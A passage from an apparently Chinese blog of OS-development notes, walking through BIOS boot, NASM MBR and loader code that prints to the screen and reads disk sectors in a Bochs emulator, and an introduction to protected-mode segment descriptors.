0xFFFF0</span><br></pre></td></tr></table></figure><p>这个起始地址距离1MB内存只有16字节大小，所以这里肯定不是真正实现BIOS的地方，这里肯定只是一个类似于函数索引表的跳板，跳转到真正执行BIOS的地方。</p><p>BIOS最后的工作就是校验启动盘中位于0盘0道1扇区的内容，这里面其实主要校验的是MBR，如果此扇区末尾两个字节为0x55和0xaa，BIOS即认定这里为MBR，便将其加载到0x7c00处，然后跳转到这个地方继续执行。至于为什么这里是0x7c00书中也有提到，主要是考虑到不能覆盖中断向量表、预留栈空间等，BIOS大致流程也差不多总结到这里。下一步就是做实验。</p><h2 id="第一个MBR"><a href="#第一个MBR" class="headerlink" title="第一个MBR"></a>第一个MBR</h2><p>这里用NASM实现一个简单的MBR，功能是在屏幕上打印字符串”1 MBR”，背景色黑色，前景色绿色，因为有中文格式问题，复制的时候建议去除所有中文以及注释，当然最好是自己敲一遍</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line">; mbr.S</span><br><span class="line">; 主引导程序</span><br><span class="line">; ----------------------------------------------------------</span><br><span class="line">SECTION MBR vstart=0x7c00 ; 起始地址为0x7c00</span><br><span class="line">　 mov ax,cs              ; cs寄存器初始化其他寄存器</span><br><span class="line">　 mov ds,ax</span><br><span class="line">　 mov es,ax</span><br><span class="line">　 mov ss,ax</span><br><span class="line">　 mov fs,ax</span><br><span class="line">　 mov sp,0x7c00           ; 初始化栈指针</span><br><span class="line"></span><br><span class="line">; 下面功能为清屏,清理其他输出信息,保证我们输出的内容可见+</span><br><span class="line"></span><br><span class="line">; -----------------------------------------------------------</span><br><span class="line">; INT 0x10　 功能号:0x06　　功能描述:上卷窗口</span><br><span class="line">; -----------------------------------------------------------</span><br><span class="line">; AH 功能号= 0x06</span><br><span class="line">; AL = 上卷的行数(如果为0,表示全部)</span><br><span class="line">; BH = 上卷行属性</span><br><span class="line">; (CL,CH) = 窗口左上角的(X,Y)位置</span><br><span class="line">; (DL,DH) = 窗口右下角的(X,Y)位置</span><br><span class="line">; 无返回值</span><br><span class="line">　 mov　　 ax, 0x600</span><br><span class="line">　 mov　　 bx, 0x700</span><br><span class="line">　 mov　　 cx, 0               ; 左上角: (0, 0)</span><br><span class="line">　 mov　　 dx, 0x184f          ; 右下角: (80,25),</span><br><span class="line">                              ; VGA文本模式中,一行只能容纳80个字符,共25行｡</span><br><span class="line">　　　　　　　　　　　　　　　　 ; 下标从0开始,所以0x18=24,0x4f=79</span><br><span class="line">　 int　　 0x10　　　　　　　　 ; int 0x10</span><br><span class="line"></span><br><span class="line">;;;;;;;;;　　下面这三行代码获取光标位置　　;;;;;;;;;</span><br><span class="line">;.get_cursor获取当前光标位置,在光标位置处打印字符｡</span><br><span class="line">　 mov ah, 3　　　　　　   　　 ; 输入: 3号子功能是获取光标位置,需要存入ah寄存器</span><br><span class="line">　 mov bh, 0　　　　　　　　　  ; bh寄存器存储的是待获取光标的页号,这里是第0页</span><br><span class="line"></span><br><span class="line">　 int 0x10　　　　　　 　　　　; 输出: ch=光标开始行,cl=光标结束行</span><br><span class="line">　　　　　　　　　　　 　  　　　; dh=光标所在行号,dl=光标所在列号</span><br><span class="line"></span><br><span class="line">;;;;;;;;;　　获取光标位置结束　　;;;;;;;;;</span><br><span class="line"></span><br><span class="line">;;;;;;;;;　　打印字符串　　;;;;;;;;;</span><br><span class="line">　 ;还是用10h中断,不过这次调用13号子功能打印字符串</span><br><span class="line">　 mov ax, message</span><br><span class="line">　 mov bp, ax　　　　　 　　　　; es:bp 为串首地址,es此时同cs一致,</span><br><span class="line">　　　　　　　　　　　 　　　　  ; 开头时已经为sreg初始化</span><br><span class="line"></span><br><span class="line">   ; 光标位置要用到dx寄存器中内容,cx中的光标位置可忽略</span><br><span class="line">　 mov cx, 5　　　　　　　　　　; cx 为串长度,不包括结束符0的字符个数</span><br><span class="line">　 mov ax, 0x1301　 　　　　   ; 子功能号13显示字符及属性,要存入ah寄存器,</span><br><span class="line">　　　　　　　　　　　　　  　　 ; al设置写字符方式 ah=01: 显示字符串,光标跟随移动</span><br><span class="line">　 mov bx, 0x2　　　　　　　　　; bh存储要显示的页号,此处是第0页,</span><br><span class="line">　　　　　　　　　　　 　　　　  ; bl中是字符属性,属性黑底绿字(bl = 02h)</span><br><span class="line">　 int 0x10　　　　　　 　　　　; 执行BIOS 0x10 号中断</span><br><span class="line">;;;;;;;;;　　打字字符串结束　　;;;;;;;;;</span><br><span class="line">                              ; $为eip地址,$$为本section的起始地址</span><br><span class="line">　 jmp $　　　　　　　　　　　　; 使程序无限循环,相当于jmp eip</span><br><span class="line"></span><br><span class="line">　 message db &quot;1 MBR&quot;         ; 打印的字符串</span><br><span class="line">　 times 510-($-$$) db 0      ; 用0填充本扇区空余的字节数,$-$$即为本行到本section的偏移</span><br><span class="line">　                            ; 510减去是为了腾出2字节存放0x55和0xaa魔数</span><br><span class="line">　                            ; 也就是覆盖除了最后两字节和上面已经写了的字节</span><br><span class="line">　 db 0x55,0xaa</span><br></pre></td></tr></table></figure><p>命令<code>sudo nasm -o mbr.bin mbr.S</code>编译生成<code>mbr.bin</code>文件，然后用dd命令将其写入我们镜像中的第0行，512字节大小，也就是写入一开始BIOS执行的MBR</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/5.png" alt="image-20200430104313495"></p><p>再次运行<code>sudo ./bochs -f bochsrc.disk</code>即可显示出我们写的内容，断下的时候输入c即可运行</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/6.png" alt="image-20200430104739183"></p><h2 id="完善MBR"><a href="#完善MBR" class="headerlink" title="完善MBR"></a>完善MBR</h2><p>这里介绍一些显存相关内容，显存地址分布</p><table><thead><tr><th style="text-align:center">起始</th><th style="text-align:center">结束</th><th style="text-align:center">大小</th><th style="text-align:center">用途</th></tr></thead><tbody><tr><td style="text-align:center">C0000</td><td style="text-align:center">C7FFF</td><td style="text-align:center">32KB</td><td style="text-align:center">显示适配器BIOS</td></tr><tr><td style="text-align:center">B8000</td><td style="text-align:center">BFFFF</td><td style="text-align:center">32KB</td><td style="text-align:center">用于文本模式显示适配器</td></tr><tr><td style="text-align:center">B0000</td><td style="text-align:center">B7FFF</td><td style="text-align:center">32KB</td><td style="text-align:center">用于黑白显示适配器</td></tr><tr><td style="text-align:center">A0000</td><td style="text-align:center">AFFFF</td><td style="text-align:center">64KB</td><td style="text-align:center">用于彩色显示适配器</td></tr></tbody></table><p>根据上表地址直接操作显卡显示文本</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line">;主引导程序 </span><br><span class="line">;------------------------------------------------------------</span><br><span class="line">SECTION MBR vstart=0x7c00         </span><br><span class="line">   mov ax,cs      </span><br><span class="line">   mov ds,ax</span><br><span class="line">   mov es,ax</span><br><span class="line">   mov ss,ax</span><br><span class="line">   mov fs,ax</span><br><span class="line">   mov sp,0x7c00</span><br><span class="line">   mov ax,0xb800 ;参考上表的基址</span><br><span class="line">   mov gs,ax</span><br><span class="line"></span><br><span class="line">; 清屏</span><br><span class="line">;利用0x06号功能，上卷全部行，则可清屏。</span><br><span class="line">; -----------------------------------------------------------</span><br><span class="line">;INT 0x10   功能号:0x06   功能描述:上卷窗口</span><br><span class="line">;------------------------------------------------------</span><br><span class="line">;输入：</span><br><span class="line">;AH 功能号= 0x06</span><br><span class="line">;AL = 上卷的行数(如果为0,表示全部)</span><br><span class="line">;BH = 上卷行属性</span><br><span class="line">;(CL,CH) = 窗口左上角的(X,Y)位置</span><br><span class="line">;(DL,DH) = 窗口右下角的(X,Y)位置</span><br><span class="line">;无返回值：</span><br><span class="line">   mov     ax, 0600h</span><br><span class="line">   mov     bx, 0700h</span><br><span class="line">   mov     cx, 0               ; 左上角: (0, 0)</span><br><span class="line">   mov     dx, 184fh       ; 右下角: (80,25),</span><br><span class="line">       ; 因为VGA文本模式中，一行只能容纳80个字符,共25行。</span><br><span class="line">       ; 下标从0开始，所以0x18=24,0x4f=79</span><br><span class="line">   int     10h                 ; int 10h</span><br><span class="line"></span><br><span class="line">   ; 输出背景色绿色，前景色红色，并且跳动的字符串&quot;1 MBR&quot;</span><br><span class="line">   mov byte [gs:0x00],&apos;1&apos;      ; 一字节为数据,一字节为属性</span><br><span class="line">   mov byte [gs:0x01],0xA4     ; A表示绿色背景闪烁，4表示前景色为红色</span><br><span class="line"></span><br><span class="line">   mov byte [gs:0x02],&apos; &apos;</span><br><span class="line">   mov byte [gs:0x03],0xA4</span><br><span class="line"></span><br><span class="line">   mov byte [gs:0x04],&apos;M&apos;</span><br><span class="line">   mov byte [gs:0x05],0xA4</span><br><span class="line"></span><br><span class="line">   mov byte [gs:0x06],&apos;B&apos;</span><br><span class="line">   mov byte [gs:0x07],0xA4</span><br><span class="line"></span><br><span class="line">   mov byte [gs:0x08],&apos;R&apos;</span><br><span class="line">   mov byte [gs:0x09],0xA4</span><br><span class="line"></span><br><span class="line">   jmp $       ; 通过死循环使程序悬停在此</span><br><span class="line"></span><br><span class="line">   times 510-($-$$) db 0</span><br><span class="line">   db 0x55,0xaa</span><br></pre></td></tr></table></figure><p>效果如下，红色字体，绿色背景闪烁</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/7.png" alt="image-20200504083137724"></p><p>上面MBR实际上没做什么事情，只是单纯的实现了和显卡交互，和打印hello world区别不是很大，我们需要不断增加新的有实际用处的功能，MBR只有512字节，无法实现对内核的加载，所以我们下一步需要让其增加读写磁盘的功能，在硬盘中加载loader，然后用loader来加载我们的内核。</p><p>MBR在第0扇区(逻辑LBA编号)，loader理论上可以在1扇区，这里为了安全起见放在2扇区，预留出1扇区的空位。MBR将二扇区的内容读出来，放入实模式1MB内存分布中的可用区域(参见BIOS处的表格)，因为loader中还会加载一些GDT等的描述符表，这些表不能被覆盖，随着内核越来越完整，loader的内核也不断从低地址向高地址发展，所以需要选择一个稍安全的地方，留出一些空位，这里选择0x900，大致步骤如下：</p><ol><li><p>先选择通道，往该通道的sector count寄存器中写入待操作的扇区数，参考如下表格找到端口</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/8.png" alt="img"></p></li><li><p>往该通道上的三个LBA寄存器写入扇区起始地址的低24位。</p></li><li><p>往device寄存器中写入LBA地址的24~27位，并置第6位为1，使其为LBA模式，设置第4位，选择操作的硬盘（master硬盘或slave硬盘）。</p></li><li><p>往该通道上的command寄存器写入操作命令。</p></li><li><p>读取该通道上的status寄存器，判断硬盘工作是否完成。</p></li><li><p>如果以上步骤是读硬盘，进入下一个步骤。否则，完工。</p></li><li><p>将硬盘数据读出。</p></li></ol><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br></pre></td><td class="code"><pre><span class="line">;主引导程序 </span><br><span class="line">;------------------------------------------------------------</span><br><span class="line">%include &quot;boot.inc&quot;</span><br><span class="line">SECTION MBR vstart=0x7c00         </span><br><span class="line">   mov ax,cs      </span><br><span class="line">   mov ds,ax</span><br><span class="line">   mov es,ax</span><br><span class="line">   mov ss,ax</span><br><span class="line">   mov fs,ax</span><br><span class="line">   mov sp,0x7c00</span><br><span class="line">   mov ax,0xb800</span><br><span class="line">   mov gs,ax</span><br><span class="line"></span><br><span class="line">;清屏</span><br><span class="line">;利用0x06号功能，上卷全部行，则可清屏。</span><br><span class="line">; -----------------------------------------------------------</span><br><span class="line">;INT 0x10   功能号:0x06   功能描述:上卷窗口</span><br><span class="line">;------------------------------------------------------</span><br><span class="line">;输入：</span><br><span class="line">;AH 功能号= 0x06</span><br><span class="line">;AL = 上卷的行数(如果为0,表示全部)</span><br><span class="line">;BH = 上卷行属性</span><br><span class="line">;(CL,CH) = 窗口左上角的(X,Y)位置</span><br><span class="line">;(DL,DH) = 窗口右下角的(X,Y)位置</span><br><span class="line">;无返回值：</span><br><span class="line">   mov     ax, 0600h</span><br><span class="line">   mov     bx, 0700h</span><br><span class="line">   mov     cx, 0                   ; 左上角: (0, 0)</span><br><span class="line">   mov     dx, 184fh      ; 右下角: (80,25),</span><br><span class="line">   ; 因为VGA文本模式中，一行只能容纳80个字符,共25行。</span><br><span class="line">   ; 下标从0开始，所以0x18=24,0x4f=79</span><br><span class="line">   int     10h                     ; int 10h</span><br><span class="line"></span><br><span class="line">   ; 输出字符串:MBR</span><br><span class="line">   mov byte [gs:0x00],&apos;1&apos;</span><br><span class="line">   mov byte [gs:0x01],0xA4</span><br><span class="line"></span><br><span class="line">   mov byte [gs:0x02],&apos; &apos;</span><br><span class="line">   mov byte [gs:0x03],0xA4</span><br><span class="line"></span><br><span class="line">   mov byte [gs:0x04],&apos;M&apos;</span><br><span class="line">   mov byte [gs:0x05],0xA4   ;A表示绿色背景闪烁，4表示前景色为红色</span><br><span class="line"></span><br><span class="line">   mov byte [gs:0x06],&apos;B&apos;</span><br><span class="line">   mov byte [gs:0x07],0xA4</span><br><span class="line"></span><br><span class="line">   mov byte [gs:0x08],&apos;R&apos;</span><br><span class="line">   mov byte [gs:0x09],0xA4</span><br><span class="line">   ; 寄存器传三个参数</span><br><span class="line">   mov eax,LOADER_START_SECTOR ; 起始扇区LBA地址</span><br><span class="line">   mov bx,LOADER_BASE_ADDR       ; 写入的地址</span><br><span class="line">   mov cx,1            ; 待读入的扇区数,这里是简单的loader故一个扇区足够</span><br><span class="line">   call rd_disk_m_16    ; 以下读取程序的起始部分（一个扇区）</span><br><span class="line">  </span><br><span class="line">   jmp LOADER_BASE_ADDR</span><br><span class="line">       </span><br><span class="line">;-------------------------------------------------------------------------------</span><br><span class="line">;功能:读取硬盘n个扇区</span><br><span class="line">rd_disk_m_16:   </span><br><span class="line">;-------------------------------------------------------------------------------</span><br><span class="line">       ; eax=LBA扇区号</span><br><span class="line">       ; ebx=将数据写入的内存地址</span><br><span class="line">       ; ecx=读入的扇区数</span><br><span class="line">      mov esi,eax  ;备份eax</span><br><span class="line">      mov di,cx  ;备份cx</span><br><span class="line">;读写硬盘:</span><br><span class="line">;第1步：选择通道，往该通道的sector count寄存器中写入待操作的扇区数</span><br><span class="line">;因为bochs配置文件中虚拟硬盘属于ata0,是Primary通道,所以sector count寄存器由0x1f2端口访问</span><br><span class="line">      mov dx,0x1f2</span><br><span class="line">      mov al,cl</span><br><span class="line">      out dx,al            ;读取的扇区数</span><br><span class="line">      ;out 往端口中写数据</span><br><span class="line">      ;in  从端口中读数据</span><br><span class="line"></span><br><span class="line">      mov eax,esi   ;恢复ax</span><br><span class="line"></span><br><span class="line">;第2步：将LBA地址写入三个LBA寄存器和device寄存器的低4位</span><br><span class="line"></span><br><span class="line">      ;LBA地址7~0位写入端口0x1f3</span><br><span class="line">      mov dx,0x1f3                       </span><br><span class="line">      out dx,al                          </span><br><span class="line"></span><br><span class="line">      ;LBA地址15~8位写入端口0x1f4</span><br><span class="line">      mov cl,8</span><br><span class="line">      shr eax,cl</span><br><span class="line">      mov dx,0x1f4</span><br><span class="line">      out dx,al</span><br><span class="line"></span><br><span class="line">      ;LBA地址23~16位写入端口0x1f5</span><br><span class="line">      shr eax,cl</span><br><span class="line">      mov dx,0x1f5</span><br><span class="line">      out dx,al</span><br><span class="line"></span><br><span class="line">      shr eax,cl</span><br><span class="line">      and al,0x0f   ; lba第24~27位</span><br><span class="line">      or al,0xe0   ; 设置7～4位为1110,表示lba模式</span><br><span class="line">      mov dx,0x1f6</span><br><span class="line">      out dx,al</span><br><span class="line"></span><br><span class="line">;第3步：向command寄存器写入读命令，0x20 </span><br><span class="line">      mov dx,0x1f7 ;要写入的端口</span><br><span class="line">      mov al,0x20  ;要写入的数据          </span><br><span class="line">      out dx,al</span><br><span class="line"></span><br><span class="line">;第4步：检测硬盘状态，读取该通道上的status寄存器，判断硬盘工作是否完成</span><br><span class="line">  .not_ready:</span><br><span class="line">      ;同一端口，写时表示写入命令字，读时表示读入硬盘状态</span><br><span class="line">      nop</span><br><span class="line">      in al,dx</span><br><span class="line">      and al,0x88       ;第4位为1表示硬盘控制器已准备好数据传输，第7位为1表示硬盘忙</span><br><span class="line">      cmp al,0x08</span><br><span class="line">      jnz .not_ready   ;若未准备好，继续等。</span><br><span class="line"></span><br><span class="line">;第5步：从0x1f0端口读数据</span><br><span class="line">      mov ax, di</span><br><span class="line">      mov dx, 256</span><br><span class="line">      mul dx</span><br><span class="line">      mov cx, ax   ; di为要读取的扇区数，一个扇区有512字节，每次读入一个字，</span><br><span class="line">          ; 共需di*512/2次，所以di*256</span><br><span class="line">      mov dx, 0x1f0</span><br><span class="line">  .go_on_read: ; 循环写入bx指向的内存</span><br><span class="line">      in ax,dx</span><br><span class="line">      mov [bx],ax</span><br><span class="line">      add bx,2  </span><br><span class="line">      loop .go_on_read</span><br><span class="line">      ret</span><br><span class="line"></span><br><span class="line">   times 510-($-$$) db 0</span><br><span class="line">   db 0x55,0xaa</span><br></pre></td></tr></table></figure><p>我们需要在<code>boot.inc</code>中指定两句头文件参数，如下所示</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">LOADER_BASE_ADDR equ 0x900</span><br><span class="line">LOADER_START_SECTOR equ 0x2</span><br></pre></td></tr></table></figure><p>这里编译需要加一个<code>-I</code>参数，这里我将<code>boot.inc</code>放在<code>include</code>目录下</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/9.png" alt="image-20200505092951970"></p><p>编译成功之后，发现我们还没有写loader，这会导致CPU跳转到<code>0x900</code>处的地方，所以下一步我们就需要实现一个简单的loader，至少保证能简单运行下去。复习一下现在位置我们所知道的开机流程：BIOS -&gt; MBR -&gt; Loader</p><p>loader中的内容我们用之前MBR的即可，这里编译也是需要<code>sudo nasm -I include/ -o loader.bin loader.S</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">%include &quot;boot.inc&quot;</span><br><span class="line">section loader vstart=LOADER_BASE_ADDR</span><br><span class="line"></span><br><span class="line">mov byte [gs:0x00],&apos;2&apos;</span><br><span class="line">mov byte [gs:0x01],0xA4</span><br><span class="line"></span><br><span class="line">mov byte [gs:0x02],&apos; &apos;</span><br><span class="line">mov byte [gs:0x03],0xA4</span><br><span class="line"></span><br><span class="line">mov byte [gs:0x04],&apos;L&apos;</span><br><span class="line">mov byte [gs:0x05],0xA4</span><br><span class="line"></span><br><span class="line">mov byte [gs:0x06],&apos;O&apos;</span><br><span class="line">mov byte [gs:0x07],0xA4</span><br><span class="line"></span><br><span class="line">mov byte [gs:0x08],&apos;A&apos;</span><br><span class="line">mov byte [gs:0x09],0xA4</span><br><span class="line"></span><br><span class="line">mov byte [gs:0x0a],&apos;D&apos;</span><br><span class="line">mov byte [gs:0x0b],0xA4</span><br><span class="line"></span><br><span class="line">mov byte [gs:0x0c],&apos;E&apos;</span><br><span class="line">mov byte [gs:0x0d],0xA4</span><br><span class="line"></span><br><span class="line">mov byte [gs:0x0e],&apos;R&apos;</span><br><span class="line">mov byte [gs:0x0f],0xA4</span><br><span class="line"></span><br><span class="line">jmp $</span><br></pre></td></tr></table></figure><p>dd命令指定seek参数将其放入第二个扇区</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo dd if=./loader.bin of=/home/guang/soft/bochs-2.6.2/bin/hd60M.img bs=512 count=1 seek=2 conv=notrunc</span><br></pre></td></tr></table></figure><p>最后的运行效果如下</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/10.png" alt="image-20200505130009352"></p><p>实模式的安全缺陷总结：</p><ol><li>操作系统和用户属于同一特权级</li><li>用户程序引用的地址都是指向真实的物理地址</li><li>用户程序可以自由修改段基址，自由访问所有内存</li></ol><h1 id="保护模式初探"><a href="#保护模式初探" class="headerlink" title="保护模式初探"></a>保护模式初探</h1><p>32位CPU在16位模式下运行的状态为实模式，当CPU发展到32位的时候出现保护模式，保护模式下CPU变成了32根地址总线，32根地址总线足够访问4GB的空间，为了满足4GB空间寻址，寄存器宽度也增加了一倍，从原来的2字节变为4字节32位。除了段寄存器仍然使用16位，其余通用寄存器都提升到32位。<br>寄存器要保持向下兼容，不会重新构造原来的基础设备而是在原有的寄存器基础上进行了拓展。经过拓展后的寄存器在原有名字上加了个e，如图所示</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/11.png" alt></p><h2 id="段描述符"><a href="#段描述符" class="headerlink" title="段描述符"></a>段描述符</h2><p>保护模式中的段基址不再是像实模式那样直接存放物理地址，段寄存器中要记录32位地址的数据段基址，16位肯定是装不下的，所以段基址都存储在一个数据结构中——全局描述符表。其中每个表项称为段描述符，其大小为64字节，用来描述各个内存段的起始地址、大小、权限等信息。而这里段寄存器中存放的是段选择子 selector 。如果把全局描述符表当作数组来看的话，段选择子就是数组的下标，用来索引段描述符。该全局描述符表很大，所以放在内存中，由GDTR寄存器指向它。</p><p>Tip：因为段描述符是在内存中，CPU访问较慢，效率不高，故在80286的保护模式中增加了一个段描述符缓冲寄存器用来提高效率。CPU每次将获取到的内存信息整理之后存入此寄存器，之后每次访问相同的段时，直接读取对应的段描述符缓冲寄存器即可。</p><p>因为80286始终是16位CPU，通用寄存器还是16位宽，寻址空间为2的24次方也就是16MB，单个寄存器依旧无法访问到全部内存空间，这就有了80386的登场，参数总结如下</p><table><thead><tr><th style="text-align:center">版本</th><th style="text-align:center">CPU位数</th><th style="text-align:center">寄存器宽</th><th style="text-align:center">地址线宽</th><th style="text-align:center">寻址空间</th></tr></thead><tbody><tr><td style="text-align:center">8086</td><td style="text-align:center">16</td><td style="text-align:center">16</td><td style="text-align:center">20</td><td style="text-align:center">2^20 = 1MB</td></tr><tr><td style="text-align:center">80286</td><td style="text-align:center">16</td><td style="text-align:center">16</td><td style="text-align:center">24</td><td style="text-align:center">2^24 = 16MB</td></tr><tr><td style="text-align:center">80386</td><td style="text-align:center">32</td><td style="text-align:center">32</td><td style="text-align:center">32</td><td style="text-align:center">2^32 = 4GB</td></tr></tbody></table><p>实模式和保护模式的内存寻址方式如下图所示</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/12.png" alt></p><p>32位CPU既支持实模式有支持保护模式，为了区分当前指令到底是哪个模式下运行的，编译器提供了伪指令<code>bits</code></p><blockquote><p>指令格式：[bits 16]或[bits 32]，分别对应16位和32位</p></blockquote><p>如下面的例子</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">[bits 16]</span><br><span class="line">mov ax, 0x1234</span><br><span class="line">mov dx, 0x1234</span><br><span class="line"></span><br><span class="line">[bits 32]</span><br><span class="line">mov eax, 0x1234</span><br><span class="line">mov edx, 0x1234</span><br></pre></td></tr></table></figure><p>模式之间可以相互使用对方环境下的资源。比如，16位实模式下可以使用32位保护模式下的寄存器。如果要用另一模式下的操作数大小，需要在指令前添加指令前缀0x66，将当前指令模式临时转变为另一种模式。这就是反转的意义，不管当前模式是什么，总是转变成相反的运行模式。这个转换是临时的，只有在当前指令才有效。如下图<br>比如，在指令中添加了0x66反转前缀后：<br>假如当前运行模式是16位实模式，操作数大小变为32位。<br>假设当前运行模式是32位保护模式，操作数大小变为16位。</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/13.png" alt></p><p>操作数可以在模式间相互转换，那么寻址方式一样可以，只需要在它的指令前加上0x67反转前缀即可。如下图</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/14.png" alt></p><p>下面总结一下，保护模式首先是必须向前兼容的，故其访问内存依然是<code>段基址:段内偏移</code>的方式，结合前面总结过实模式的一些安全问题，想要解决这些问题就得既保证向前兼容，又保证安全性。CPU工程师想到的方法就是增加更多的安全属性位，下图即是段描述符格式：</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/15.png" 